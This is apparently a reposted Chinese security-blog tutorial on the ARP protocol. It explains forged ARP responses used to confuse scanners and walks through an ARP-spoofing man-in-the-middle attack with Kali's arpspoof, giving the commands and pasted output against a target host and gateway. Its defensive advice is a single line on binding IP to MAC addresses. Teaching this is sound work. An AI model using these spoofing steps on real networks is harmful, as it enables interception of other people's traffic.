ARP协议详解及攻击/防御

admin 2023年10月31日10:13:23评论31 views字数 2933阅读9分46秒阅读模式

一、ARP概述

ARP协议在TCP/IPIP协议被称为"最不安全的协议"但是又离不开此协议,我们经常听到的这些术语,包括"网络扫描"、"内网渗透"、"中间人拦截"、"局域网流控"、"流量欺骗",基本都跟ARP脱不了干系。大量的安全工具,例如大名鼎鼎的Cain、功能完备的Ettercap、操作傻瓜式的P2P终结者,底层都要基于ARP实现。


听上去这么"逆天"的协议,其实技术原理又简单的难以置信,例如ARP整个完整交互过程仅需要两个包,一问一答即可搞定!但是ARP协议也有它令初学者迷惑的地方,例如由它本身延伸出来的"代理ARP"、"免费ARP"、"翻转ARP"、"逆向ARP",而这些不同种类的ARP,又应用于不同的场景。好吧,在深入到技术原理之前,作为初学者,我们先记住下面三句话:


ARP(Address Resolution Protocol)即地址解析协议, 用于实现从 IP 地址到 MAC 地址的映射,即询问目标IP对应的MAC地址


基本工作流程:

  1. ARP请求过程:主机A以广播的形式向网络中发送ARP请求,请求包中包含了目标IP地址。

  2. ARP响应过程:广播域中的主机收到ARP广播请求时发现自己就是要找的主机,返回响应,响应中包含自己的MAC地址,不是则丢弃该请求包。


ARP协议包结构


ARP协议详解及攻击/防御



利用ARP进行隐蔽扫描:

例如判断目标主机:192.168.70.130是否启用。

伪造虚假地址,设置IP地址为192.168.59.160 ,MAC地址为A1:B2:C3:D4:E5:F6,执行命令如下:


ARP协议详解及攻击/防御

    


伪造ARP响应:

伪造ARP响应是指伪造一个不存在的主机ARP响应。例如,黑客在攻击局域网中的主机时,会扫描局域网中的所有主机,然后对发现的主机实施攻击。如果伪造了ARP响应包,会误导黑以为扫描到的主机是存在的从而起到了迷惑作用。


  1. 在模拟之前,验证局域网中是否存在主机192.168.70.100 

    ARP协议详解及攻击/防御

  2. 在主机上伪造ARP响应,创建虚拟主机192.168.70.100 ,设置其MAC地址为,a1:b2:c3:d4:e5:f6

  3. 再次使用arping 192.168.70.100

ARP协议详解及攻击/防御

发现刚才不同的地址现在已经通了。



 ARP欺骗原理

大家通过知道arp的原理之后就应该知道arp的缺陷了。当arp通过广播的形式的时候,虽然主机默认的是:与自己的ip不匹配的就视为丢弃,但是我们可以通过手动的方式来跟靶机讲我就是网关或者其它主机,从而就达到了欺骗目的。这里使用arpspoof工具



小提示:若kali中没有arpspoof,需要安装dsniff包,arpspoof是此包中的一个工具

使用Arpspoof工具实现URL流量操作攻击。具体操作步骤如下所示:

(1)开启路由转发功能。执行命令如下所示:

root@kali:~# echo 1 >> /proc/sys/net/ipv4/ip_forward

执行以上命令后,没有任何信息输出。

(2)启动Arpspoof注入攻击目标系统。攻击的方法是攻击者(192.168.6.102)发送ARP数据包,以欺骗网关(192.168.6.1)和目标系统(192.168.6.101)。下面首先欺骗目标系统,执行命令如下所示:

root@kali:~# arpspoof -i eth0 -t 192.168.6.101 192.168.6.150:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d50:e5:49:eb:46:8d 0:19:21:3f:c3:e5 0806 42: arp reply 192.168.6.1 is-at 50:e5:49:eb:46:8d

输出的信息显示了攻击者向目标主机192.168.6.102发送的数据包。其中50:e5:49:eb:46:8d表示攻击者的MAC地址;19:21:3f:c3:e5表示192.168.6.101的MAC地址。当以上过程攻击成功后,目标主机192.168.6.101给网关192.168.6.1发送数据时,都将发送到攻击者192.168.6.102上。

(3)使用Arpspoof注入攻击网关。执行命令如下所示:

root@kali:~# arpspoof -i eth0 -t 192.168.6.1 192.168.6.10150:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d50:e5:49:eb:46:8d 14:e6:e4:ac:fb:20 0806 42: arp reply 192.168.6.101 is-at 50:e5:49:eb:46:8d

以上输出信息显示了攻击者向网关192.168.6.1发送的数据包。当该攻击成功后,网关192.168.6.1发给目标系统192.168.6.101上的信息发送到攻击者主机192.168.6.102上。

(4)以上步骤都执行成功后,攻击者就相当于控制了网关与目标主机传输的数据。攻击者可以通过收到的数据,查看到目标系统上重要的信息。



防御:

将IP地址与MAC地址进行绑定即可

更多技术文章请关注公众号:猪猪谈安全

ARP协议详解及攻击/防御

师傅们点赞、转发、在看就是最大的支


原文始发于微信公众号(猪猪谈安全):ARP协议详解及攻击/防御

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月31日10:13:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ARP协议详解及攻击/防御http://cn-sec.com/archives/786261.html

发表评论

匿名网友 填写信息